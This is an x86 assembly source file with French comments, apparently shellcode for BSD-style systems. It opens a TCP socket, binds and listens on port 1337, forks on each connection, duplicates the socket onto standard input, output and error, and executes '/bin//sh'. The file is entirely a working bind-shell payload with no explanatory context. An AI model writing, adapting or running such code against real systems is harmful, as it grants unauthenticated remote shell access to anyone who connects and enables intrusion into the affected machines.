section .text global _start _start: xor eax, eax push eax ; protocol inc eax push eax ; SOCK_STREAM inc eax push eax ; AF_INET push eax ; PADDING mov al, 97 ; socket(AF_INET, SOCK_STREAM, 0) int 0x80 mov esi, eax ; Sauvegarde du fd socket dans esi xor eax, eax ; Construction d'une sockaddr push eax push word 0x3905 ; Port 1337 push word 0x0201 mov ecx, esp ; Pointeur sur sockaddr push byte 16 ; sizeof(sockaddr) push ecx ; sockaddr* push esi ; sock push eax ; PADDING mov al, 104 ; bind(sock, sockaddr*, sizeof(sockaddr)) int 0x80 xor eax, eax mov al, 5 push eax push esi push eax mov al, 106 ; listen(sock, 5) int 0x80 .ACCEPT: xor eax, eax push eax push eax push esi push eax mov al, 30 ; accept(sock, 0, 0) int 0x80 mov edi, eax xor eax, eax push eax mov al, 2 ; fork() int 0x80 or eax, eax ; le processus fils retourne sur le accept() jz .ACCEPT xor ecx, ecx ; dup2 STDERR, STDIN, STDOUT .L: push ecx push edi xor eax, eax mov al, 90 ; dup2(sock, ecx) push eax int 0x80 inc cl cmp cl, 3 jne .L xor eax, eax push eax ; nul byte push '//sh' push '/bin' ; On stock la chaine sur la pile mov ebx, esp ; Pointeur sur '/bin//sh' push eax ; argv[1] = NULL push ebx ; argv[0] = '/bin//sh' mov ecx, esp ; ecx = argv push eax ; Empile env (NULL) push ecx ; Empile argv push ebx ; Empile '/bin//sh' mov al, 59 ; Appel system execve() push eax ; PADDING int 0x80